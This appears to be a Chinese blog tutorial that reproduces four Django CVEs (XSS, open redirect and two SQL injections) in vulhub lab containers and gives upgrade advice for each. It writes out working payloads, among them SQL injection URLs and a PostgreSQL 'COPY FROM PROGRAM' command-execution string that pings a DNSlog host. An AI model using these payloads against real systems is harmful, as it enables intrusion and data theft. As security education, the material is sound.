本文最后更新于 2024-10-09,文章内容可能已经过时。

Django漏洞合集

1.Django简介

image-20241009173908252

​ Python下有很多得Web框架,其中Django就是最具有代表性的一个,很多的网站和APP都是基于Django的。

Django是一个开放源代码的Web应用框架,由Python编写而成,遵守 BSD 版权,初次发布于 2005 年 7 月, 并于 2008 年 9 月发布了第一个正式版本 1.0 。使用 Django,只要很少的代码,Python 的程序开发人员就可以轻松地完成一个正式网站所需要的大部分内容。

值得一提的是,Django 基于MVC模型,即Model(模型)+ View(视图)+ Controller(控制器)设计模式,使后续对程序的修改和扩展简化,并且使程序某一部分的重复利用成为可能。不仅如此,MVC还具有低耦合、开发快捷、部署方便、可重用性高等优势。

​ 所以Python加上Django因为其强大的数据库功能、自带强大的后台功能和优雅的网址成为了快速开发、设计、部署网站的最佳组合。

2.PostgreSQL 简介

image-20241009173844358

PostgreSQL是一种特性非常齐全的自由软件的对象-关系型数据库管理系统(ORDBMS),是以加州大学计算机系开发的POSTGRES,4.2版本为基础的对象关系型数据库管理系统。POSTGRES的许多领先概念只是在比较迟的时候才出现在商业网站数据库中。PostgreSQL支持大部分的SQL标准并且提供了很多其他现代特性,如复杂查询、外键、触发器、视图、事务完整性、多版本并发控制等。同样,PostgreSQL也可以用许多方法扩展,例如通过增加新的数据类型、函数、操作符、聚集函数、索引方法、过程语言等。

​ 另外,因为许可证的灵活,任何人都可以以任何目的免费使用、修改和分发PostgreSQL。因为其强大的功能和灵活性,Django通常选择PostgreSQL作为搭配的数据库

3.漏洞复现

3.1 CVE-2017-12794(XSS漏洞)

影响版本

Django < 1.11.5

漏洞原理

漏洞出现在500界面,在django/views/debug.py的文件内,因为出现在1.11.5版本之前,所以比较1.11.4和1.11.5的debug.py的代码就可以看到修复的位置在下图所示:

image-20221223124807093

在django/db/utils.py中有一个__ exit __的函数,

def __exit__(self, exc_type, exc_value, traceback):
    if exc_type is None:
        return
    for dj_exc_type in (
            DataError,
            OperationalError,
            IntegrityError,
            InternalError,
            ProgrammingError,
            NotSupportedError,
            DatabaseError,
            InterfaceError,
            Error,
    ):
        db_exc_type = getattr(self.wrapper.Database, dj_exc_type.__name__)
        if issubclass(exc_type, db_exc_type):
            dj_exc_value = dj_exc_type(*exc_value.args)
            dj_exc_value.__cause__ = exc_value
            if not hasattr(exc_value, '__traceback__'):
                exc_value.__traceback__ = traceback
            # Only set the 'errors_occurred' flag for errors that may make
            # the connection unusable.
            if dj_exc_type not in (DataError, IntegrityError):
                self.wrapper.errors_occurred = True
            six.reraise(dj_exc_type, dj_exc_value, traceback)

​ 其中exc_type是异常,如果其类型是DataError,OperationalError,IntegrityError,InternalError,ProgrammingError,NotSupportedError,DatabaseError,InterfaceError,Error之一,则抛出一个同类型的新异常,并设置其__ cause __ 和 __ traceback __为此时上下文的exc_value和traceback。

​ exc_value是上一个异常的说明,traceback是上一个异常的回溯栈。这个函数其实就是关联了上一个异常和当前的新异常。

​ 最后,在500页面中,__ cause __被输出。

当我们创建两个相同username的用户的时候,就会抛出数据库的IntegrityError的异常, 即Unique异常,从而在500页面输出__ cause __。

漏洞复现

攻击机:本机

环境搭建:centos7 (IP:192.168.91.128)

使用vulhub的漏洞环境

cd vulhub/django/CVE-2017-12794
docker-compose up -d

然后访问我们的网站即可

http://192.168.91.128:8000/

image-20241009175618588

使用我们添加用户的接口create_user,进行用户的添加

http://192.168.91.128:8000/create_user/?username=<script>alert(1)</script>

image-20241009175749494

之后再次访问同一链接添加用户,就会触发我们的Unique异常,从而将信息添加到我们的页面上,造成xss注入

http://192.168.17.102:8000/create_user/?username=<script>alert(1)</script>

image-20241009175808503

image-20241009175834276

修复建议

​ 更新Django的版本到1.11.5及以上

3.2 CVE-2018-14547(任意URL跳转漏洞)

影响版本

Django < 2.0.8

漏洞原理

当setting中配置了django.middleware.common.CommonMiddleware且APPEND_SLASH为True时漏洞就会触发,而且这两个配置是默认存在的,APPEND_SLASH不用显示写在setting文件中。

​ 如果设置了APPEND_SLASH=True并且初始URL没有以斜杠结尾,并且在urlpatterns中找不到它,则通过在末尾附加斜杠来形成新的URL。如果在urlpatterns中找到此新URL,则将HTTP重定向返回到此新URL。换句话说就是对那些末尾没加/的url自动填补/然后重新发起请求

漏洞复现

使用vulhub的漏洞环境

cd vulhub/django/CVE-2018-14547
docker-compose up -d

访问

http://192.168.91.128:8000//www.example.com

就会直接跳转到www.example.com上边去

image-20221223170930728

修复建议

升级版本到2.0.8以上

3.3 CVE-2019-14234(SQL注入)

Django JSONField/HStoreField SQL注入漏洞

影响版本

1.11.x < Django < 1.11.23

2.1.x < Django < 2.1.11

2.2.x < Django < 2.2.4

漏洞原理

这个漏洞需要开发者使用JSONField/HStoreField,且用户可以控制queryset查询时的键名输入,然后在键名的位置注入SQL语句

​ 由上边我们可以看到Django通常搭配的是PostgreSQL数据库,而JSONField是PostgreSQL数据库的一种数据类型。在Django中JSONField类的实现中,Django通过JSONField生成sql语句是通过简单的拼接而没有进行任何的过滤,导致了漏洞的产生

漏洞复现

使用vulhub的漏洞环境

docker-compose build
docker-compose up -d

环境搭建好之后访问我们的首页就可以了

http://192.168.91.128:8000/

image-20241009183904667

然后访问管理员的界面,使用

admin / a123123123

进行登陆

http://192.168.91.128:8000/admin/

image-20241009184022549

image-20221223131254738

登录到后台之后选择Collections,在参数中构造detail_a'b=123 ,这个地方的detail参数就是Collection中的JSONField

image-20241009184412333

http://192.168.91.128:8000/admin/vuln/collection/?detail__a%27b=123'

可以知道单引号是注入成功的,这里再使用布尔盲注进行测试

http://192.168.91.128:8000/admin/vuln/collection/?detail__title')='1' or 1=1--
// 经过url编码

http://192.168.91.128:8000/admin/vuln/collection/?detail__title%27%29%3d%27%31%27%20%6f%72%20%31%3d%31%2d%2d

image-20241009184608091

http://192.168.91.128:8000/admin/vuln/collection/?detail__title')='1' or 1=2--

// 经过url编码
http://192.168.91.128:8000/admin/vuln/collection/?detail__title%27%29%3d%27%31%27%20%6f%72%20%31%3d%32%2d%2d

image-20221223133016387

最后尝试一次命令注入

http://192.168.91.128:8000/admin/vuln/collection/?detail__title')%3d'1' or 1%3d1 %3bcopy cmd_exec FROM PROGRAM 'ping drjthr.dnslog.cn'--%20

看是否可以ping到dnslog(提前申请个dnslog,这里申请到的是drjthr.dnslog.cn)

image-20221223133523121

命令注入成功

修复建议

升级Django版本

3.4 CVE-2021-35042(SQL注入漏洞)

影响版本

Django3.1 / Django3.2

漏洞原理

Django 组件存在 SQL 注入漏洞,该漏洞是由于对 QuerySet.order_by()中用户提供数据的过滤不足,攻击者可利用该漏洞在未授权的情况下,构造恶意数据执行 SQL 注入攻击,最终造成服务器敏感信息泄露。

漏洞复现

使用vulhub的漏洞环境

docker-compose build
docker-compose up -d

访问主页

http://192.168.91.128:8000/vuln/

image-20241009193913600

如果加上参数-id就会变成降序排列

http://192.168.91.128:8000/vuln/?order=-id

image-20241009194006596

这时候构造我们的堆叠注入payload,这里的vuln_collection是vuln应用下的模型collection

http://192.168.91.128:8000/vuln/?order=vuln_collection.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23

image-20241009194201529

可以看到通过xpath错误注入的显示信息’~5.7.44’,得到注入的服务器版本,并可以继续使用堆叠注入进行进一步利用

修复建议

​ Django在2021年7月1日发布了一个安全更新,修复了在QuerySet底下的order_by函数中存在的SQL注入漏洞,将版本更新到3.1.13或者3.2.5以上